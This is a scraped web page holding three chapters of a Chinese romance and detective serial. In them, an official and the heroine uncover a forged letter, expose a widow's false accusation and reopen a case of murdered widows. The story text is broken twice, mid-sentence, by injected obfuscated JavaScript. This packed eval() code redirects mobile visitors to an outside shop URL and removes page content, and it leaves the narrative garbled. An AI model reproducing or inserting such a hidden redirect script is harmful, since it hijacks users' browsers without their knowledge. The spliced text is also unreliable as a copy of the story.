“说来也奇怪,这批马是属下精挑细选的,有些脾气,外人都很难驯服。”邓科尴尬找补,“二傻这家伙对着马又摸又拽,马咋不叫不蹬他呢?” 嗨,有些痴傻儿,或许只是人类层面上的智商界定,与其他生灵,反而能沟通的更好。 但这就是猜测了,反正结果就是,二傻游走在一匹匹马之间,玩的正高兴,我俩来了,直奔马车,细细簌簌的找东西。 等我上了马车,邓科仍在箱笼中翻找时,听见了树墩边有动静。 “我、我这不是怕吓着二小姐吗?雨后常见小动物出没,我怕误解了,大吼大叫反而惊着二小姐,就没敢立时吼。谁知我刚探头过去……” 以为小贼又转来偷马的二傻也同时冒出了头。 “……吓得我立刻拔剑!我、我哪能想到,我的动作反而惊了马,它没踹二傻,竟然蹬了我一蹄,正中我的额头!两眼一黑,我不就……” 邓科委屈的陈述着,换来了同事们一片欢声笑语。硬汉形容立时瓦解。 垂柳嗤嗤笑着,还是垂云敏锐,又问,那小姐的油纸伞,怎么不见了? 谢宁轩笑道:“应是见邓科昏倒,二傻本能的想去找人。刚不是见羽书上了马车吗?自然就跟过去,可又被油纸伞吸引了目光……之后袭击羽书,显然也是再一瞧,又看见了更好玩的兔子。” 是啊,注意力无法集中,只顾着玩耍,应该就是这类病患的显著特征了。 垂云还是打了个冷战,将被二傻撸秃了的泥脏围脖丢的老远,一面后怕的拍拍胸膛:“不管怎么说,小姐也是差点受伤了的!那边洗澡水烧好了,我们去给小姐,好好检查检查吧!” *** “羽书,风寒药,来,喝一碗。”篝火旁,谢宁轩接过垂柳递来的碗,吹了吹。 我小口吸溜着,瞧着庙外微亮的天光,哀叹这一夜都没好好休息。天亮了,谢宁轩,是不是也要去县城查案,得和我分开了? 谢宁轩盈盈一笑,摸了摸我的发髻:“还有些湿,再往近坐些,让火烤烤。嗯,协查请求写的不是很清楚,得先去见赵大人,看完卷宗再说具体查案路径。” “那我明天就……”我迟疑着说,努力压下上涌的分离之忧愁。 谢宁轩侧侧头:“你不想查清这桩案子吗?死了三个无辜女子。” “我没有时间啊,我得赶紧回金华。明天……唔,明天顶多呆一天,找……” “如果你时间充裕,你会愿意查这个案子吗?”谢宁轩倏地打断了我。 “啊?”我有些懵,下意识回答,“会吧……这种骇人听闻的惨案,赶紧破获抓住凶手……” 语音一顿,因为我突然看到谢宁轩嘴角挂着的笑容,透着一丝意味深长。 这一幕似曾相识。 我莫名回想起过去种种,在一桩桩案件侦察中,他好似经常试探的问我,是否愿意查案,对案件有什么意见。 我想到他每每谆谆的语气、探究的目光,不由生出一种被诱导、被引领的感觉……这种感觉也不是一次两次了…… 可是为什么?明明人人质疑,人人都奇怪于女性出现在查案现场,他却从不理会,总是坚持让我参与。 他好似很在意…… “为什么,为什么在意我查不查案?”没有再自己揣测,我直白地问。 谢宁轩也不意外,他先是移开眼神,伸手拨了拨火堆中的木头,似乎在整理说辞。片刻后,他抬眸看向我,认真地说:“羽书,我要向你坦……” “大人!按照你说的方法烤干了!”浮生忽然跑来,手里拿着一封信,打断了谢宁轩的自白。 我仍想听完他的话,他却神色一凛,挥手让人下去后,便严肃的对我说:“羽书,其实,这次我自请出京查案,一是因为这桩案子,恐连累你的安危,二来,是这封信。” “信?”我很诧异。 “来的路上淋湿了,好在烤干了,不受影响。”谢宁轩点头,又朝我伸手,“你祖母病危那封信呢?可带在身上?” 怎么突然问起这个? 我不明所以,机械的点点头,从身后的包袱中找出它。 谢宁轩与我交换信封,示意我打开阅读。 借着火光,我刚一展信,就愣住了。 “这、这是 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我盯着早先那封不同于往常字迹的信,心说对啊,我正是考虑到祖母病重无法写信,才没有对突然改变的字迹生疑。 可这两封信落款先后颠倒的日期,的确有问题。 “这是什么意思?有人伪造书信传来,假称祖母有恙……骗我回去?” 谢宁轩伸手拢了拢我的披风,徐徐道:“你在金华住了八年,与祖母感情深厚,这应该不是秘密。此人以她有恙为钩,很容易就能骗得你着急上火,速速南下。” “这、这还是在上京时害我的那个人?同一双黑手干的?” “我推测是。”谢宁轩颔首,表情肃穆,“京城远在千里之外,你在父亲身边,有什么交友、交际,此人根本无从掌握。想要除去你,还是得引诱你回到金华。” 后背发凉,好像冷风吹啊吹。 “什么人,到底是什么人……买通贴身丫鬟,北上一路暗中行事。现在又杜撰引我回去……” 王羽书啊王羽书,你到底得罪了何方神圣,如此孜孜不倦要你的命! 谢宁轩拉起我的手,放在他两掌之中,让我感受着他的温暖与可靠。 “金华是一方面,我更担忧,他会在你南下一路就出手,所以令尊将信给我,问我怎么看待时,我立即就进宫请旨了。”谢宁轩俯身,轻柔地说,“别怕,羽书,我会陪着你,一起回去,揪出这个混蛋来。” “你陪我?” 眼泪打转,我说不清是对未来的担忧,还是对他心意的感动。 “嗯,还记得我给你说过,我和三殿下追查的宫中旧案吗?关涉二十多年前的事,有些人早就回乡养老了。之前我身为京城府丞,不可能离京两三月之久,便一直迟迟未去寻这部分人证。现在可好,刑部的差事,可自由多了。” “两三月……你走这么长时间,真的能行吗?圣上允许了?” 谢宁轩伸手抚住我的脸颊,眸光似盛着夏日荷花的湖水,深沉、柔缓。 “我当然是得了旨意才走。但我也向圣上告知了,我牵挂着一个人,无论如何要陪在她身边,不能让她有半分危险。” “你、你给圣上说了……” 震撼到大脑宕机,谢宁轩却笑得一如既往的温柔。 三日前归京,昨日上午就入宫请旨。他马不停蹄,都没有歇息一二。 自京城到秋水县,再赶到东橘村,只花了两天。哦,下午官道还塌了,只余步行的宽度,所以他连马都舍下了? “你、你怎么知道,知道我会在东橘村……”哽咽着,是我怎么努力也咽不下的百感交集。 谢宁轩轻柔的刮了刮我的鼻子。他离我很近,呼吸清清浅浅,交织着偶来升腾的热气。 “你会一路探查,走哪条路,问哪些人,我能不知道吗?羽书,咱们之间的默契,你还不相信吗?” “谢宁轩……” 眼泪再也止不住,喷涌出的都是对他发自心底的渴望。 谢宁轩靠近,靠近,直到轻柔的吻落在我的眼下。 他以唇拭去我的泪珠,呢喃着:“羽书,羽书……今天看到你倒在地上,那一刻,我的魂都没有了。我好怕,好怕……别离开我,羽书……” 眼睫垂下,他用吻封住了我挣扎的理智。 100.初次犯案 没有“祖母病重”的大山压在头顶,我整个人都松快不少。 然而害了原主的幕后黑手仍在逍遥,我没怎么考虑,就决定依然要南下,查清个中缘由,将这个混蛋绳之以法。 谢宁轩也赞同,并再次重申,他不放心,要陪我一路南下。而这段时间,反正糕点铺老板娘还没回来,官道也泥泞不堪不好走,不如与他一道查案,等些时日。 说实在的,我还对昨天他被打断的话心存疑窦,很想再问清楚。转念一想,又觉得自己在感情中畏首畏尾,更没有明确的答应他,给他个身份。当下,我似乎也没有立场盘问他。 犹犹豫豫间,我们已经返回秋水县城。 官道虽然垮了,好在豁口外几公里处就有一间车马店。我与谢宁轩、浮生先行,其余人则收拾行李,缓慢行至官道豁口外,再乘马车返回县城住宿。 今次不同往日,谢宁轩没有隐瞒,在入县城的关卡处便亮明了官身,就地对城门守卫盘问。 在进行到第三个人的时候,远处传来了熟悉的恭维声,正是那宽脸胖肚的赵大人,迈着小碎步急急奔来。 “哎呀,凌……侍郎大人啊!天哪真是您呐,下官刚一听说,都不敢信呐!当日下官看您就不是一般人,果然人中之龙,非凡之极,下官对您真是涛涛敬……” “停。”谢宁轩伸手,无情叫停赵大人的表白。 “卷宗带来了没有?此案已达天听,别耽误查案时间了。” 赵大人一听,肚子都晃了三晃,连连招下属递上卷宗。 见谢宁轩接过,就在街头阅览起来,他也不敢打扰,只朝我也堆上谄媚的笑。 “呦,王小姐也来啦?数月不见,小姐还是这般荷羞玉颜、清水芙蓉呐。这回又要给小姐添麻烦了,你看每次来,下官都没好好招待,就……” 花式马屁再次被打断,谢宁轩直奔主题:“不是说抓到了采花大盗吗?人关在何处,怎么抓的?” “哦,抓、抓到了呀。是个叫刘二的,在牢里关着呢。”赵大人不敢耽搁,一面擦着额头豆大的汗珠,一面一股脑吐出,“此人真真儿胆大包天!前天晚上竟欲再袭击一人!好在刚好有村民去她家敲门,把那厮吓跑了。村民也吓坏了,就自发组织了巡逻,没想到,昨儿一早,他又去人家屋子,还想灭口呐!” 半个月,这是第四个了,好家伙,这厮真是不要命呐。 小声吐槽竟被谢宁轩听见了,目光睨过来,他调侃一句:“又是听说书学的?懂的还真不少。” …… “咳咳……”我赶紧转移话题,“赵、赵大人呐,那昨晚村民们,就直接拿下他了?这么顺利?” “是啊,下官都没想到呢。” 谢宁轩收回目光,嘴角似是翘了翘,出声却仍平淡。他又问:“针对几起命案,可都认罪了?能与掌握的证物证人对应吻合吗?” 感受到上官的威势扑面而来,赵大人慌得都语塞了:“这……他、他狡辩来着,说是、是那文寡妇勾引他……” “寡妇?”浮生诧异的问,“受害人是个寡妇?” “啊,下官没在协查申请里写吗?”赵大人一看谢宁轩脸色,想是真的没写,慌忙解释,“哦,嗨呀,是寡妇。几个受害人啊,全是寡妇!” 原来此间出现的采花大盗案之所以离奇,也和受害者的身份特征有关。不同于往常是闺中少女受害,这个采花贼的偏好,则全是寡妇。 浮生听的唏嘘称奇:“都说寡妇门前是非多,没想到还被采花大盗盯上了。” 我则想起了邓科打听到的坊间流言,问:“不是说几个村子都有人受害吗,全是寡妇?” 回答我的是谢宁轩,严肃摇头:“不,此案一共只有三个受害者,全部被虐杀。消息散开,坊间或是以讹传讹,夸大了数目。” 我心一惊。那也就是说,此人没有留下任何活口了? 哦,不对,前晚袭击的那位文寡妇,不就是此案唯一的活口吗?赵大人也抓住了采花大盗呀! “走吧,去会会这个刘二。”谢宁轩也想到了此处,收起卷宗,他又问,“文寡妇在哪?请去县衙吧,我也想亲自问问。” “就在县衙外的客栈住着呢。说是家里一个人,太害怕了,非要……”赵大人忽然一顿,稳了稳气息,“下官便作主,让她先在客栈缓和几日。” “好。”谢宁轩简短颔首,也没理赵大人的可疑反应,只朝浮生一抬手。后者得令,立即去办。 赵大人被这效率唬得有些慌,忙不迭小碎步跟上,赔着笑:“侍郎这就直接去县衙吗?不如先去歇息歇息?下官略备薄酒,还未一表心意……” “你刚才说刘二称前晚系寡妇勾引,那关于之前的三名受害人,他可交代了?” “额,他、他嘴硬得很,一时还没撬开。”赵大人尴尬,忙找补道,“实在、实在是太穷凶极恶,抓他的时候,都动用了好几名衙差才控制住。力气极大!” 刘二称,他是一个走街串巷的磨刀工,每次去文寡妇所在村落,总被她几番挑逗。前晚又是搔首弄姿,勾的他终于把持不住。正要云雨,忽然有人敲门,那文寡妇就变了脸,猛地推开他,还大叫救命。他也胆小啊,听着外面越来越急的敲门声,就吓的跳窗跑了。 至于昨日为什么又来,他说的确是来找文寡妇的,但和杀人灭口无关。他只是想来质问文寡妇为何要惊呼,同时还怀有一点未得逞的色心罢了。 “侍郎您瞧,这番鬼话说的漏洞百出,谁能信呐?下官可立刻就差人查了他这些时日的行踪,根本没有不在场证明。” “哦?三起凶杀案发生的时候,他都刚好在案发村落?” “啊这……”赵大人又紧张了,“嗯……是还没还原他的行踪,但……嗯,他这人吧,一副扁担两口筐子就是全部身家,没家没眷的。平时就在各个村镇和县城之间来来回回,谁家要磨刀就去做个买卖,过的一天是一天……两天前人在哪里,自己都说不明白。” 谢宁轩挑眉:“那案发前村中来没来过陌生人,也没查到吗?” “村里是说没有,但……” 语气心虚,眼神闪躲。 嗨,估计是查案又寻不着方向,根本没有进展。眼看死者越来越多,百姓人心惶惶,这才着急呈递进京,到刑部找帮手。 我无语的摇了摇头,恰逢谢宁轩也递给我个“还是这德行”的眼神。 不过当下,谢宁轩也没揪着不放,转而问起前三名死者的具体背景。 “哦,死者都是秋水县下辖村落的村民,不是一个村的,彼此也没什么往来。有一个是独居,另俩则和公婆同住。” “死因,我看卷宗中写的是勒毙?” “没错,颈骨都断了。”赵大人摸了摸脖子,喉结滚动,“三个人身上还发现了不同程度的伤痕,凶手这是虐杀啊。尤其第一个死者,被打的最惨,身上几乎没一块好肉,掐的、烫的、抽的……” 赵大人摇着头,我亦觉脑后生风,暗骂这采花大盗真变态。 “还有一点,她的抛尸地点也不太相同。她不是在县城发现的,而是在郊外的乱坟岗,被路过村民发现。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967810|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不同的抛尸地? 我和谢宁轩不由对视一眼,后者马上质疑:“这完全不同的抛尸地,能确认并案吗?” 汗珠又从额头冒出,赵大人紧张的狂舔嘴唇,但还是笃定的点了点头。 “因为、因为身份都是寡妇,又、又是一样被虐待的伤痕,还、还同样是勒毙。这、这怎么看,也是同一个凶手,是不是?” 谢宁轩眯了眯眼,没有说话。 我估计他和我产生了同一个想法。确实,这么看来,并案的可能性极高。那么,第一个死者异常的部分,或许另有深意。 在连环凶案中,出于犯罪模式的熟悉,凶手一般不会改变手法。除非如之前的白马书院案,凶手因心态转变,才有了之后泄愤复仇的十九刀毙命。 本案第一名死者,为什么遭受了更深的虐待,为什么与后二者抛尸地有差别? 难道说,这细微的差别,正与死者的顺序有关? 初次犯案,凶手难免生疏、陌生、惊慌。而之后,凶手心态日趋平缓,手法也愈发成熟、完美。所以,抛尸地,凶手之后精心挑选了,而非简单的乱葬岗丢弃;对死者的虐待,也无需搞得血肉模糊,就能达成快感。 但问题是,精心挑选的抛尸地,为什么在县城小巷,这到底有什么玄机? 不过,如我推测无误,那,对于初次犯案的第一名死者,凶手或许会留下漏洞,或许从中能找到案件的突破点。看来,我们很有必要走访第一位死者家。 谢宁轩也正打开卷宗,打算看看她家在何处。 这时,我们也走到了县衙门口,浮生的声音突兀的传来:“干什么?别、别过来!让你去县衙,是问话的!” 怎么还透着惊慌? 经验十足的京城府衙首席捕头,这是碰到什么事了? 定睛瞧去,只见一位扮相成熟,风韵犹存的女子正攀着浮生的胳膊,娇声唤着:“捕头小哥,哎呀,你快扶着人家嘛,人家害怕,走不了路了嘛。” 说话间,女子重心已全部倒向浮生,迫他不得不用胸膛扶住。瞬间,二人距离就突破了安全值。 浮生脸都绿了,偏那女子穿着还极轻薄,眼神但凡往下溜点,就能看见不该看的区域。 “啧啧,这婆娘真是……”我们身侧的赵大人则嘟囔着,往后缩了缩。看来这风流韵事他早先已有领教,承受不起。无奈大肚子太显眼,还是被拉拉扯扯中的女子瞥见。 女子眼睛登时一亮,对比的,则是赵大人打了个寒战,恨不得马上躲起来。 “哎呦,太爷!您这是上哪去了?不是和人家说好了,来屋中抚慰人家的吗,人家昨晚可等了你一宿呢!” 好家伙,还有桃色绯闻? 眼看所有人目光都集中到自己身上,赵大人急了,手摆之快,都出残影了。 “不是不是,别瞎说啊,谁跟你说好了!这话让我夫人听到还了得!”说着,他转向谢宁轩,期冀上官给自己作证,“侍郎,侍郎,下官与这女子绝无旁的干系,您可得替下官做主啊,要是我那夫人问起来……” 谢宁轩皱了皱眉,明显对案件查察中夹杂这些狗血桥段而感到厌倦,然不等他说话,女子也盯上了他。 明显高于身旁一圈男性的容颜值,当下就把女子征服了。她惊呼一声,眼睛冒着星星,二话不说就朝谢宁轩奔来。 后者反应虽快,立即后退两步,却也敌不过猛虎扑食般的女子。 她就跟看猎物一样,不由分说就攀上了谢宁轩的臂膀,一双胸脯紧紧贴上,还可疑的蹭来蹭去…… 101.惊吓 目瞪口呆,我直接傻眼,浮生更是吓掉了下巴。 我旋即凑到赵大人身旁,忍不住问:“这位,该不会就是那差点躺在义庄的第四人,文寡妇吧?” 浮生紧跟着吐槽:“这这……那抓住的叫什么刘二的,辩称系文寡妇主动勾引……卑职觉得很有可能诶……” 赵大人苦笑:“嗨,这文寡妇啊,素日就不检点,水性杨花。要么刘二说,上文寡妇家磨刀,每次都是文寡妇先摸他的……咳咳……” 看来是公说公有理,婆说婆有理,不好分辨。只怕文寡妇还得在县衙旁的客栈多住些时日了。 赵大人一听,眉毛都颤,连连摇头。“闹心,闹心!” 浮生转转眼珠子:“不交代也好办,要是接下来太太平平的,那一定就是他了呀!” 不行,被动等待乃下下之策。万一抓错了人,又只消极等着,不是给真正凶手再次行凶创造机会了嘛。 “那该怎么啊?”赵大人苦瓜着脸。 一计浮上心来。 我这厢尚未回答,那边文寡妇已升级了战术。谢宁轩明明推开了她两次,无奈脚步尚未抬起,就又被她紧紧箍住。她软的像是没骨头,硬生生往谢宁轩怀中钻,脑袋依附、手臂圈腰…… “官爷,官爷,人家害怕,人家站不稳了!你快,你快抱抱人家嘛。” 说实话,我跟随谢宁轩查案这么久,觊觎这家伙面皮的,确实不少见。不过这样直接奔放,丝毫不顾街上人来人往异样的目光,文寡妇怕是青朝第一人了。 一时间,浮生的吐槽,我竟也觉得有些道理了。 数次发力推开,数次后退闪躲,文寡妇却越发上劲,饶是涵养极佳,谢宁轩也恼了。 只见他丢下一句“请你自重”,就猛地扯住文寡妇的胳膊,用劲将她往左侧一扯,自己则向右后迈步。文寡妇来不及反应,就被他大力丢向了下属。 下属正是错愕到呆住的浮生。 眼看文寡妇即将又扑入自己怀中,浮生也吓死了,条件反射就错身一跃。毕竟身手好,两个连续跳跃,就闪到了三米开外。 这一系列动作连贯,只数秒间,文寡妇没了支撑,竟摔倒在地。 “哎呦!” 伴随一声娇俏的吃痛声,谢宁轩、浮生已飞速走入县衙,快的简直令我咂舌。 赵大人一看又剩他自己了,吓得腿都哆嗦,连声命令下属衙差们将她团团围住,先请进侧厅候着。 一面又胆战心惊的擦擦额头的汗,朝我看来,担忧的问:“王小姐啊,这接下来到底该怎么办啊?还求您给下官拿个主意呀!凌……侍郎那边,下官真怕他怪罪呦!” 嗨,谢宁轩哪是那么小气的人。 “方法我倒是想到一个,就是需要大人配合,营造出合理的环境来。” “啊?” “既然各执一词,从证据方面无法判断,不妨,当面对质吧。” *** 文寡妇被带来县衙,说要问话,赵大人和新来的帅哥官爷却迟迟不出现,她正坐在前院侧厅气哄哄。 谨慎安排,文寡妇就不会知道。 另一边,县衙衙差得了指令,将暂时关押在牢房中的刘二放了出来,为他解开手链脚链,假意证实了他的清白。只因手续问题,劳他在前院等待签署文件才可离去。 刘二一直没有认罪,在他的视角,官府证明清白,也是合理的。即,他也不会想到,接下来会有个局,等着他。 此刻,前院空无一人,所有衙差、守卫都好像忙于其他事情,偶尔匆匆而过,不瞧院中人一眼。大门堪堪闭着,一推即可跑路。 当然,实则周边早就埋伏好了一圈弓箭手。刘二但凡敢有异动,绝不会轻易逃出。 此人既然是采花大盗的嫌疑犯,又兼力大无穷,必须谨慎对待。 “可是,刘二被带过来了,那文寡妇呢?甭管她是被侵犯还是诬陷,外有刘二,她哪敢出门啊,吓都吓死了。” 我狡诈的咧咧嘴:“嘿嘿,就是要她害怕。” 见到诬陷之人,与见到杀己凶手,文寡妇当然都会害怕。但这两种畏惧,却是全然不同的。 何况,文寡妇自称和刘二不熟,是自己的风韵被他觊觎。刘二却说,文寡妇勾引自己,不是一次两次了。 两种不同的关系之下,男女双方乍然见面,情势自然不同。 只是,赵大人质疑的也没错。如何在没有衙差、没有监视的情况下,让文寡妇心甘情愿的出来呢? 我睨向谢宁轩。 后者冷漠拒绝,坚决不肯出卖色相。 美男计不行,那只能靠惊吓了。 此时,正有两个衙差,提着装有大老鼠的笼子,猫腰钻进了侧厅后面的小巷中。 “放心吧,我们都查清了,确实和你没啥关系。”浮生的声音传来,身后跟着一个穿着囚服,发髻散乱的年轻男子。 男子个高也瘦,长相老实巴交,绞着双手很是紧张,似乎不像是大奸大恶之人。 见刘二听懂了,浮生又很有派头的命令道:“你跟这儿等一会,我去取你的衣服扁担,还有卷宗你也得按个手印。别乱跑啊!出了什么岔子,还得把你抓回来!” 刘二连连点头,张张嘴似乎想说什么,却又僵在嘴角。看起来,的确是不擅长说话讨好的底层民众。浮生都走远了,刘二还是一副不知所措的样子,呆站在原地,动都不敢动。 一个主角到场。 浮生的离场即为信号,小巷中的衙差亦马上展开行动。很快,另一个主角尖叫着从屋子里跑出来,衣衫不整。 刘二应声扭头一瞧,映入眼帘的便是急切呼吸中露出的大半□□,跳跃着、乱晃着。 “文三娘?你咋也在这?” 文寡妇一惊,忙四顾左右,发现没有旁人后,跺了跺脚。 刘二老实巴交的年轻脸上露出愠色,他愤声道:“文寡妇,你干啥要害我?” 文寡妇啧啧两声,露出娇弱的媚态。 “呦,生个啥子气嘛。人家不过和你开个玩笑。”话音未落,她扯了扯衣服,倒让一双胸脯露的更多。她边说边挪步,直到贴在刘二身上,媚声道,“牢里苦了吧?” 刘二闷骚着脸,表情极不自然,眼睛不自觉被胸器勾着,口中倒是喃喃:“你为啥要害我?明明是你主动,是你说想要我。” 文寡妇盈盈一笑,甩了甩帕子:“哎呦,可不是我害的你啊,谁叫突然来人了呢!你可别记恨我呀,下回你晚点过来,我再给你嘛。” 刘二吞了口口水,头却摇的跟拨浪鼓一样:“不去了。” “怎么,还真我置气啊?”文寡妇抛个媚眼,又贴到刘二耳旁低声说话,不知内容为何,表情那叫一个风骚。 说罢,她用手抓住刘二的手,直接扣在了自己胸上。后者脸涨的通红,口水都要流出来了。 文寡妇绝对是在勾引刘二!不仅是那天,也是现在! 眼见尺度就要超过国产电视剧的标准了,谢宁轩咳了一声,外面两个人吓了一大跳。一连串衙差已从各个屋中冲出去,将二人团团围住。 本以为闹剧到此结束,谁知文寡妇突然抓起刘二已经放下的手,用力往自己胸上猛按,随后身子一歪,拉着刘二一起倒了下去。 刘二措不及防,直接趴在文寡妇身上。这个姿势,真是少儿不宜。 文寡妇一双傲人丰胸此刻尽数露了出来,她一手遮挡,一手无力捶打刘二,口中还叫着救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984348|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命,怎么看都是□□案中无辜的受害者。若没有刚才一幕,真要以为刘二胆大妄为公然□□妇女呢。 可惜掩在暗处的众人,皆见证了事实。 谢宁轩又咳嗽了一声,一群看呆了的衙差这才将二人拉开。 因为紧张和愤怒,那可怜的老实人脸都吓绿了,或许是以为衙差会误会自己,刘二强力的挣扎着,三五个衙差费力才把他按住。 与他对比,文寡妇堪比专业演员。此刻被衙差抓住了双手,仍旧口中叨叨不停,还向衙差轮番抛着媚眼。 等待她的将是诬陷之罪。 而涨红了面皮结结巴巴解释着的刘二,也在浮生好生安慰下,渐渐安静了下来。衙差挑来刘二的扁担,前后挂着两个大竹筐,当场释放了他。 之所以光凭借谁在说谎便认定刘二无辜,实则因为在准备做局前,又一名老熟人的登场,带来了一条重要线索。 “凌公子!王小姐!哇,你们怎么来了?” 没错,来人正是造型返祖、长相粗犷的猩猩衙差同志。 赵大人一看他没大没小,生怕身居高位的谢宁轩不高兴,劈头就是一通骂。谢宁轩却叫停了,也没自陈身份,只温和的让猩猩衙差速报今日调查情况。 原来,自昨日村民自发巡逻逮住了再次冒头的刘二,猩猩衙差正好在第三名死者村中走访,得了传信,便拐去死者家中盘问。 此寡妇姓鲍,有别于其他寡妇,她的夫家是当地富户,住在高门大院里。也即,采花贼要夺走她的性命,必得翻门越户、蹿高走低。 而经历了两次逮捕的刘二,却没有展现出功夫。浮生也近距离观察了,说此人虽一身蛮力,脚步却沉,气息也乱,不可能有武功身法,断无法悄然翻入下人众多的鲍家而不被发现。 那么,他自然不是这神秘的采花大盗了。 赵大人失望的直叹气:“竟然不是他!那凶手的影子还是没抓到啊。” “嗯,”我点点头,“这下可以确定,受害人还是只有三名。文寡妇一案只是巧合发生在这个节骨眼,扰乱了咱们的视线。” “又得重头再来了。”猩猩衙差也哀叹。 赵大人马上义正言辞的批评下属:“少一名受害人,作为官差,我们该高兴才是。重头来,总比逮错人要强。嘿嘿,侍郎,您说是吧?” 这觉悟还算合格,谢宁轩表情稍缓。 可一贯哪壶不开提哪壶的猩猩衙差马上就补刀上司:“可老爷,那咱之前给几个村村长说的大话,可怎么收回来呦。” 赵大人的笑容直接僵硬。眼刀要能化成实物,他真能劈死猩猩衙差。 此案由于尸体出现在县城中,又不止一个寡妇遇害,坊间已是议论纷纷,舆论压不下来。赵大人堪堪抓住嫌疑犯就夸下海口,虽有急躁,或也是出于扭转坊间风气的考虑。鉴于凶残的采花大盗还没抓住,暂且让他放松警惕,也许反而能抓住尾巴。 只是这秋水县,一年中发生两起大案,赵大人的年终考评,怕是要惨淡收场了。 赵大人也有自知之明,哭丧着脸问:“侍郎,那接下来可怎么办啊?” 谢宁轩没有回答,而是将目光投向我。无声的视线交织,是我们同样的办案思路。 为今之计,还是去走访第一位受害者家中吧。她的异常之处,或是能快速摸到凶手端倪的路径。 只是,令我二人无比诧异的是,当卷宗被铺开,赵大人点出第一名死者的居所,竟然就在东橘村! “东橘村,谁家?”我惊了。 “哦,是姓卫的一家,死的是家中大儿子的媳妇。” 卫……儿媳妇…… 什么?第一名死者竟然就是昨晚才见过的老卫头的儿媳? 102.桃红 谢宁轩以前告诉过我,自京城南下的主要干道当属徽州、南阳一路。原主选择的上京路,虽也有官府修建的官道,但路窄人少,驿站也少。 这就是东橘村不在官道旁,原主与橙橙也不得不拐去投宿的原因。 而村中屋舍沿河修建,早盖房的早占据中心地位,盖房晚的,自然就住的偏远。 这老卫头,便是村中最后盖房的几户人家之一。他的篱笆小院,就修在土地庙的山坡下。 又因往山坡来的土路中出现不少矮丘,盖房也需避开,故这一片的几户人家,也不似聚居区挨家挨户修建的近,反而每户之间,都有些距离。 我们再次返回东橘村时,都快黄昏了。垂云垂柳跟着大部队进了县城,路上还和我们打了照面,看我们又折返,那叫个懵逼。 危险的采花大盗还没落网,即便受害者类型已定,此人颇有身法,夜晚遭遇或也危险。因而谢宁轩下令,速战速决,走访后马上就返回。 不过临到卫家门口,我们还是停下脚步,都观察了一遍环境。 我心里,很快就泛起了嘀咕。 你说居住在此的受害人住的偏远吧,偏偏卫家没有分家,丈夫去世后,她仍与公婆同住。你说不是独居应该安全了吧,偏偏这户人家四面又无相近邻里,的确便于潜入。 尤其,在此等连环案件中,通常第一个死者是触发凶手犯案的关键,正是通过第一次侵犯与杀戮,凶手获得了旁种方法无法给予的快感,进而引发系列犯罪。而对于目标范围的挑选,也因第一个死者的身份而固化。 也即,本案中的采花大盗,很可能就因侵犯并虐杀了卫寡妇,而盯上了寡妇群体。 只是,卫寡妇和公婆同住,家中还有个痴傻的小叔子。采花大盗,是怎么接触她,并寻到杀人契机的呢? 浮生就此推测:“是不是这个卫寡妇,也和那姓文的婆娘一样,行为不检,才招惹了麻烦?” 猩猩衙差却摇头:“不不,卑职就此可是专门问过村长的,说这卫寡妇品行很好。嫁给男人没多久,男人就病死了,也没留下个一儿半女。孀居早就满三年了,没改嫁也没回娘家,一如既往的侍奉公婆,整日大门不出二门不迈。很长时间才进城一趟,采买油盐酱醋。” 浮生纳闷了:“品行很好……那采花大盗怎么盯上的?真是死在家中的吗?还有,这对公婆耳聋啊,听不见儿媳妇呼救?” 回答的是谢宁轩,他已经在赶来的马车上详细研究了卷宗。 “死于家中应该没错,屋中发现血迹,结合死者案发前的路径,第一现场应该就在家中。验尸表明,是子时三刻死的,口角内血痕伤口明显,或是被强力堵住或塞住东西。加之那晚天下大雨,这可能就是没人听见死者呼救的原因。” 猩猩衙差赔笑觑着上官,又连忙补充:“还有,这老卫头啊,是十里八村打更的,晚上一向不在家。卫老婆子最近骨痛,郎中给开了安神药,晚上服下睡得像死猪,什么都没听到。倒是旁边最近那家一大婶,说案发前两晚,隐约听见女子叫喊,觉得像是卫寡妇的声音。” “案发前两晚?她是不是记错了?” “卑职再三确认了的,她非说不是案发那晚。”猩猩衙差很笃定,“又说,也只是一两声叫喊,估计是磕了碰了。她睡得迷迷瞪瞪,也不能肯定是不是听错了。” 我看向谢宁轩,问他的意见:“你觉得这说的,与案件有关吗?” 谢宁轩伸手扶我迈过一处沟壑,极是自然。一面蹙眉回答:“不好说,目前还无法分辨。” 说着,院中发出响厉的声音,刺耳的很。我们都目光一紧,猩猩衙差立即跳去敲门。 然而“官府查案”四个字没说完,院门突然被大力撞开,险些把猩猩衙差拍飞。 众人愣住,就见二傻从院中奔出,手里拿着根磨得油光光的柳条,打了照面就朝猩猩衙差抽去。 猩猩衙差都傻了,躲也忘了,骂也卡住。关键关头,是谢宁轩喝了声“浮生!” 浮生这才反应过来,忙跃上院外土堆,一个跟头翻去,拉住了猩猩衙差的胳膊。二人顺势一滚,这才堪堪避开。 柳条鞭打到地上,发出尖锐的声音。 看来方才也是二傻,在院子里抽打着玩儿。 浮生和猩猩衙差从满地渣土中爬起,气的直骂街。 听到动静掀开土坯房帘走出来的老卫头,正好看见这一幕,差点吓死。 “二傻,二傻!快过来,赶紧滚过来!”快步跑到儿子身边,老卫头致力于将他掩在身后。“官爷,官爷,咋、咋又来了?那、那个,二傻、二傻……” “他这个样子,你们倒是也栓一下啊!”浮生怒骂。 